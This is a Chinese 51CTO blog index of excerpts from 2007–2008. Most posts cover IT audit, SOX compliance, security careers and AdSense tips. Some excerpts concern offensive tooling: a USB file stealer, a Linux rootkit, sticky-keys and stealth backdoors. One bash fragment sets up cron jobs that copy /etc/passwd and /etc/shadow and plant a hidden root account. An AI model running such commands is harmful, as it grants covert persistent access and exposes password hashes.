51CTO首页
AI.x社区
博客
学堂
精品班
软考社区
免费课
企业培训
鸿蒙开发者社区
信创认证
公众号矩阵
移动端
视频课 免费课 排行榜 短视频 直播课 软考学堂
全部课程 软考 信创认证 华为认证 厂商认证 IT技术 PMP项目管理 免费题库
在线学习
文章 资源 问答 课堂 专栏 直播
51CTO
鸿蒙开发者社区
51CTO技术栈
51CTO官微
51CTO学堂
51CTO博客
CTO训练营
鸿蒙开发者社区订阅号
51CTO软考
51CTO学堂APP
51CTO学堂企业版APP
鸿蒙开发者社区视频号
51CTO软考题库
# 信息安全管理

中国IT内审暗流涌动

导读： 　　中国IT内审暗流涌动 　　天气再热也热不过热火朝天的中国证券市场。2007年，股票成为我国全民关注的焦点。股市火爆的背后，谁在冷静思考？ 　　2007年5月25日，企业内部控制标准委员会第三次全体会议在北京友谊宾馆低调举行。会议对企业内部控制规范征求意见稿和若干项具体规范讨论稿进行了深入讨论。可见，作为现代企业内控的重要手段和考量目标之一，IT内审重新引起了企业的广泛关注。

职场
中国
休闲
内审
原创 2008-01-09 21:07:00 444 阅读

从IT角度看内控——解读《上海证券交易所上市公司内部控制指引》

梁晟,科索路咨询高级经理，曾负责某电信信息数据管理体系设计与规划，梳理数据信息管理体系和接口，确保信息规划质量。 2006年6月5日，上海证券交易所（下文简称上证所）率先发布了《上海证券交易所上市公司内部控制指引》（下文简称《指引》），对上市公司建立健全和有效实施内部控制制度提供了原则性指导，明确了公司董事会对公司内控制度所负的责任，并要求上市公司从2006年年度报告起披露内部控制自我评估报告和

上海
角度
上市公司
证券交易所
内控
转载 精选 2008-01-09 21:06:00 1607 阅读

信息安全产业分析 SOX法案给我们的启示

　信息安全产业分析 SOX法案给我们的启示 　　信息安全领域“只见森林、不见树木”的说法喊了几年，这一状况至今并没有真正改变。虽然全民的信息安全意识已经极大地提高，但业界从业者却依然很难从中挖到金子，因此很难有富裕的资金用于持续的技术投入和取得飞跃式发展。问题究竟出在哪儿？ 　　几年前，专家就分析，信息安全产业的一个怪现象是“只见森林，不见树木&rdqu

信息安全
休闲
SOX
法案
启示
原创 2008-01-09 21:05:00 838 阅读

IT如何满足SOX法案的合规要求?

IT如何满足SOX法案的合规要求? （1） 　　发布时间：2005.11.24 20:28 来源：赛迪网-中国计算机用户 作者：胡敏　 　　2002年7月，美国国会正式通过了Sarbanes-Oxley法案（简称SOX法案），明确要求管理层对公司财务信息披露和内部控制效力负有直接责任，公司的内控措施应由管理层声明有效并由独立审计机构出具内控审计意见提交给美国证监会（SEC）。 　　SO

职场
休闲
SOX
法案
合规
转载 精选 2008-01-09 21:02:00 1916 阅读

企业如何进行计算机取证工作

   [博客来网路书店] [天珑书店][本书目录] 　　这本书，着实花了笔者不少时间。 　　从今年七月开始，笔者在台北、台中、高雄分别主讲了十多数场微软Silverlight相关的研讨会与Hands On Lab，连TechED 2007也是以Silverlight为主题。 　　微软更是花大钱摆大阵仗来推广这个新技术。当然罗，您可以慢慢嗅出接下来的Web技术主流在哪

职场
计算机
企业
休闲
取证
转载 精选 2008-01-03 09:32:00 395 阅读

《Google Adsense的秘密》第九章：渠道跟踪：寻找潜在的金矿

在上一章里，我们讨论了网站内容的问题。Google不会允许你请求访问者点击广告，也不会允许你采用欺骗的办法引诱访问者点击广告。但是，好的内容对广告有着背书作用，好的内容让人们降低对广告的反感，让广告看起来更可信，也更有趣。 比如，假设你有一个网站，其内容是对一些产品的客观而公正的评论，那么访问者就会更倾向于点击相应的广告来获得更多关于这些产品的知识，了解产品的最新报价，甚至在线订购。 最最

Google
秘密
Adsense
金矿
渠道
原创 2007-12-24 20:51:00 639 阅读

《Google Adsense的秘密》第八章：内容建设

8.1 自创内容 说Google Adsense比其他的在线广告系统更好的原因之一是：它的广告与你网页上的内容是相关的，用户点击这些广告是因为对它们有兴趣。并且用户们会回来再次点击它们，因为你的内容是有吸引力的。 如果你网站的内容缺乏吸引力，你就会为如何吸引用户和链接而绞尽脑汁，这样你就没办法让用户成为回头客。 有”正确”的内容，是通过Google Adsens

Google
秘密
休闲
建设
Adsense
原创 2007-12-24 20:50:00 760 阅读

《Google Adsense的秘密》第六章：控制你的广告 - 博客联盟

6.1 吸引相关的广告 合适的颜色和位置可以帮助你提高点击率，但是它们决定不了哪些广告会出现在你的网站上。 理论上说，这是由Google控制的，用户无法选择。实际上，你还是可以用一些办法来阻止那些与网站内容不相关的广告出现在你的网页上。要知道，广告的相关性越强，浏览者点击广告的几率就越大。 最关键的影响因素当然是你网站的内容。Google的机器人会检查你的网站并根据网站的内容和某些关键

Google
博客
秘密
广告
Adsense
原创 2007-12-24 20:49:00 564 阅读

《Google Adsense的秘密》第七章：用Google搜索框黏住易变的访问者

7.1 用搜索赚钱 如果来访者在你的网站中找不到他们想要的东西会怎么样？他们当然会觉得无聊，很可能他们想进行更多的搜索或更新现在的搜索。如果你提供一个Google搜索框，你就可以留住这些”逃跑者”- 并且通过他们点击搜索结果中的广告来赚钱。 Google的搜索框可不仅仅是为了给你的访问者带来些额外的方便-它实实在在地能为你赚钱！ 如果你的 Google Adse

Google
搜索
秘密
Adsense
访问者
原创 2007-12-24 20:49:00 650 阅读

《Google Adsense的秘密》第四章：用色彩提高你的点击率

4.1 设计你的网站 我曾经出席过一个时装展示会，整场展示会所有的模特都穿着同样的黑色套装。太单调了？不一定！这个展示会是用来展示白金首饰的，所以所有的服装设计都以衬托首饰为目的–而不能分散观众的注意力。 你当然不必把整个网站都弄成同一种颜色，而是要想办法让广告成为整个页面中最吸引浏览者注意的部分，就像那些白金首饰一样。 许多带有强烈图形元素的网站确实很能吸引眼球，但同时也

Google
秘密
Adsense
点击率
色彩
原创 2007-12-24 20:48:00 612 阅读

《Google Adsense的秘密》第三章：如何优化广告提高点击率

3.1 广告形式：美化你的广告以获得成功 你喜欢哪一种类型的广告：旗帜？摩天大楼？长方形，还是正方形？边框和背景用什么颜色？ 有成千上万种方案可以供你选择。许多人让Google替他们做决定，结果通常是Adsense系统默认的外观设置。他们犯了多大的错啊！我的经验告诉我，这种做法无异于把到手的钱丢进河里。 我也曾经浪费了几乎一整年的时间，只挣到了我本应得到的十分之一的收入，仅仅因为我

Google
秘密
广告
Adsense
点击率
原创 2007-12-24 20:47:00 550 阅读

Solaris 系统安全加固列表

--> 一、安全理念 　　1、安全的隐患更多来自于企业内部 　　2、对于管理员的要求：不要信任任何人 　　3、分层保护策略：假设某些安全保护层完全失效 　　4、服务最小化 　　5、为最坏的情况做打算 　　二、物理安全 　　1、记录进出机房的人员名单，考虑安装摄像机 　　2、审查PROM是否被更换，可以通过记录hostid进行比较 　　3、每个系统的Open

列表
Solaris
系统
休闲
加固
原创 2007-12-24 20:33:00 750 阅读

EMOS 1.2 的功能扩展（第四部分）

EMOS 1.2 的功能扩展（第四部分），主要讲述配置 Spamassassin 和 Postfix，使之和 MailScanner 配合使用。 1） Spamassassin 部分 Spamassassin 的主要配置文件为 /etc/mail/spamassassin 目录下的 local.cf 文件 vi /etc/mail/spamassassin/local.cf 注意，Sp

职场
功能
休闲
EMOS
原创 2007-12-14 20:48:00 911 阅读

EMOS 1.2 的功能扩展（第一部分）

1）安装 EMOS 1.2 版本，注意事项：因后面我们需要安装 spambreaker 过滤器，因此在安装系统语言支持的时候，需要将中文简体，中文繁体，以及英文语言都选择并安装上。如下图：   2）安装 McAfee for Linux 软件 EMOS 系统自带的邮件病毒检测软件为 clamav ，在这里，我们将用 McAfee 来替换。 将系统自启动项中的 clamav 去除

职场
功能
休闲
EMOS
原创 2007-12-14 20:45:00 789 阅读

用vbs 实现U盘大盗

前几天在网上流浪 发现了一个东东——U盘大盗 看看他的说明：原理很简单就是每隔一段时间 探测有没有 新的设备然后…… 直觉告诉我用vbs可能更简单 -------------------------------------------------------------------------------------------------

职场
U盘
休闲
vbs
原创 2007-12-03 11:59:00 1302 阅读

安全经验：10大方法减少内部人员安全风险

如今内部人员给公司的安全造成的威胁非同小可。近来的一些报告指出，内部人员对公司的损害在所有的危害事件中已从80%上升为86%,而且超过半数发生在雇员的终端。无疑，拥有访问公司系统权限的内部雇员极有可能被误导到那些欺诈性的或危险的链接上。而在所有的雇员中，IT工作人员拥有的这种访问权限最多。因此，IT审核应关注从多个方面确认风险。下面我们给出实施有关控制和减少工作人员对管理员欺诈的方法。 　　1

职场
经验
风险
休闲
原创 2007-12-01 20:20:00 352 阅读

安全事件日志中的事件编号与描述

帐号登录事件 (事件编号与描述) 672 身份验证服务（AS）票证得到成功发行与验证。 673 票证授权服务（TGS）票证得到授权。TGS是一份由Kerberos 5.0版票证授权服务（TGS）发行、且允许用户针对域中特定服务进行身份验证的票证。 674 安全主体重建AS票证或TGS票证。 675 预身份验证失败。这种事件将在用户输入错误密码时由密钥分发中心（KDC）生成。 676

职场
日志
休闲
描述
转载 精选 2007-11-29 14:47:00 505 阅读

微软：惊现5年前漏洞(美国以外)

导读： 　　美联社消息：一个5年前的bug重现Windows，这个bug存在于美国以外的视窗电脑上。这个bug在新西兰Kiwicon黑客大会上得以证实，利用这个bug黑客可以通过一组简单的攻击，就可以控制世界范围内大量的家用和商用电脑。 　　Butler指出在仅拥有400万人口新西兰大约有160000台电脑存在这个漏洞，除了岛上的绵羊和水果不使用电脑外，这个数目触目惊心。 　　详细的漏

微软
职场
漏洞
美国
休闲
原创 2007-11-28 11:36:00 362 阅读

意外拿下jsp服务器

　首先声明这篇文章完全没有技术含量,我也想过到底要不要发到原创,但是觉得除了发原创也真不知道发哪里好了,所以最好还是发这里来了.发这篇文章是因为自己从来没有遇到过这种情况,虽说这里都是高手,但也难免有几个可能会没有遇到过的,所以拿出来和大家探讨一下. 　　昨天晚上一个校内网友给我一个地址(http://10.13.31.123:8888/manager/html/list)问我有啥用,我访问了

职场
服务器
jsp
休闲
意外
原创 2007-11-11 12:47:00 491 阅读

【信息安全】职业发展之惑系列三 -- 我该选择怎样的职业发展道路

明白了自己应该具有怎样的心态，我们还是希望让自己能够在选择自己的职业发展道路的时候更加明白不同的工作是怎样一回事，各个不同的工作之间有什么不同。那么就让我们逐一来分析信息安全这个类别中可能的职位，当然，还是那句话，由于我个人经验、知识、能力等等因素的限制，分析肯定带有强烈的个人经验色彩，仅供参考。 1． 各类职位略解 信息安全的职位总体来说可以分为依靠具体的安全技术、产品来实施安全建设和运维

发展
职业
休闲
选择
道路
转载 精选 2007-11-07 10:47:00 528 阅读

转 【信息安全】职业发展之惑系列之一 -- 要不要做信息安全

文章写出来之后，引起大家对于信息安全职业的悲观，这是我所不愿意看到的。从行业来说，随着大公司越来越看好安全这块蛋糕，独立的安全公司的生存的确受到一定的威胁。但是作为个人的职业来说，信息安全的前景还是不错的，因为信息安全的重要性一定会随着IT应用的日益增加而增加，所以IT人员需要掌握信息安全知识肯定是一个必然的趋势。只是从长远来说，我们从事信息安全的人员一定要拓宽自己的知识面，不要仅仅满足于了解防火

职场
发展
职业
休闲
转载 精选 2007-11-07 10:46:00 816 阅读 1点赞

【信息安全】浅论风险评估的几个误区

在BBS上看到有人发表一篇文章，说中小企业的风险评估不需要流程和标准，用自己去帮一个小公司做风险评估为例来说明这家公司的安全做得如何如何差，他们必须要先自己做了改善后才能找人来做风险评估。言外之意就是我这么高端的风险评估，用来评估这么烂的信息安全状况，简直就是大才小用了。你先回去改改好之后再来找我吧，当然这是我的揣度。其实此前就在论坛上大家热谈风险评估，有用论，无用论，标准论，定制论，量化论，定性

风险
信息安全
休闲
误区
评估
转载 精选 2007-11-07 10:43:00 640 阅读

【信息安全】风险分析与控制措施，到底谁先谁后

前写的一篇关于风险分析与控制措施选择的一些小帖，一起堆到这儿 最近收到论坛的每周热贴提醒，发现有几篇都是在讨论风险控制方面的贴，有关于笔记本安全的，有关于文档控制，也有关于内网安全的，说到对策呢，有人建议管理，有人建议技术，有人建议管理与技术并重。我今天在这里也对风险控制稍加讨论，希望能够和大家碰撞一下，对我的思路有所启发。 [separator] 个人认为在针对重点保护对象实施的重大保护

职场
风险分析
休闲
措施
转载 精选 2007-11-07 10:11:00 456 阅读

安全焦点::安全工具-wnps-0.26-beta2.tgz

WNPS是一只工作在Linux 2.6.x平台下的rootkit+backdoor程序。 　　它的意思是wnps is not poc shell，我的意图在于将它设计成一个可用于实战的linux rootkit。 　　它最初的想法来自enyelkm，我对作者的开源精神深表感激。 　　开发平台： 　　2.6.9-5.EL 　　+-------------------------

职场
工具
休闲
焦点
转载 精选 2007-10-31 10:25:00 751 阅读

关于win2003+iis6服务器设置排错集锦及其他

很多朋友在用IIS6架网站的时候遇到不少问题，以下是在所知的2003iis碰见的一些问题，只要对着症状处理。服务器一定可以使用的。 问题1：未启用父路径 症状举例： Server.MapPath() 错误 'ASP 0175 : 80004005' 不允许的 Path 字符 /0709/dqyllhsub/news/OpenDatabase.asp，行 4 在 MapPath 的

职场
设置
服务器
休闲
集锦
原创 2007-10-29 09:20:00 1258 阅读

一次曲折的安全检测

作者：菜菜 此次安全检测过去有段时间了，一直想写成稿子就是没有时间，具体环境可能有所淡忘，但整个过程和思路还是很明了的。由于在校期间课余在学校的网络工作室工作，所以对一些学校网站的服务和发展比较关注。这期间发现某学院的文件交换系统非常的不错，在校园网内使用会带来很多方面的便捷。搜索了下网上没有现成的系统下载，难道非要自己现写不成… 踩点： 服务器开放了21和80端口，Serv

职场
检测
休闲
曲折
转载 精选 2007-09-25 18:01:00 470 阅读

Haxdoors of the Kaspersky Antivirus 6/7

Haxdoors of the Kaspersky Antivirus 6/7 ================================ Preamble ================================ Kaspersky Antivirus one of the most technically modern antiviruses available toda

职场
Antivirus
休闲
Kaspersky
Haxdoors
转载 精选 2007-09-17 15:44:00 829 阅读

最酷的windows后门

在windows 2000/xp/vista下，按shift键5次，可以打开粘置，会运行sethc.exe，而且，在登录界面里也可以打开。这就让人联想到WINDOWS的屏保，将程序替换成cmd.exe后，就可以打开shell了。 参考McafeeAvertLabs： http://feeds.feedburner.com/~r/McafeeAvertLabsBlog/~3/101149799/

职场
windows
休闲
后门
转载 精选 2007-09-07 08:58:00 638 阅读

逆向工程打造隐蔽后门

信息来源：《黑客x档案》 序 如果我现在问大家一个问题，入侵成功后我们该干什么？相信大家都会异口同声地回答：“装后门！”不错，为了保住胜利果实，我们总会四处寻找适合的后门。我们的要求并不过分——体积小、功能强大、隐蔽性强。然而前两个要求还是比较容易实现的，最让后门作者头疼也让使用者无奈的就是隐蔽性了。这次我给大家带来的就是另类的方法打造自己的隐蔽

职场
休闲
后门
工程
逆向
转载 精选 2007-07-29 08:49:00 757 阅读

不死帐号 11：40复活，13：10 自杀

#!/bin/bash echo '40 11 * * * cat /etc/passwd > /dev/linkpwd' > /etc/t.cron; echo '40 11 * * * cat /etc/shadow > /dev/linkshw' >> /etc/t.cron; echo '41 11 * * * echo "link:x:0:0

职场
帐号
自杀
休闲
复活
原创 2007-07-17 13:38:00 325 阅读

Copyright © 2005-2025 51CTO.COM 版权所有 京ICP证060544号

关于我们
官方博客 全部文章 热门标签 班级博客
了解我们 网站地图 意见反馈
友情链接
鸿蒙开发者社区 51CTO学堂
51CTO 软考资讯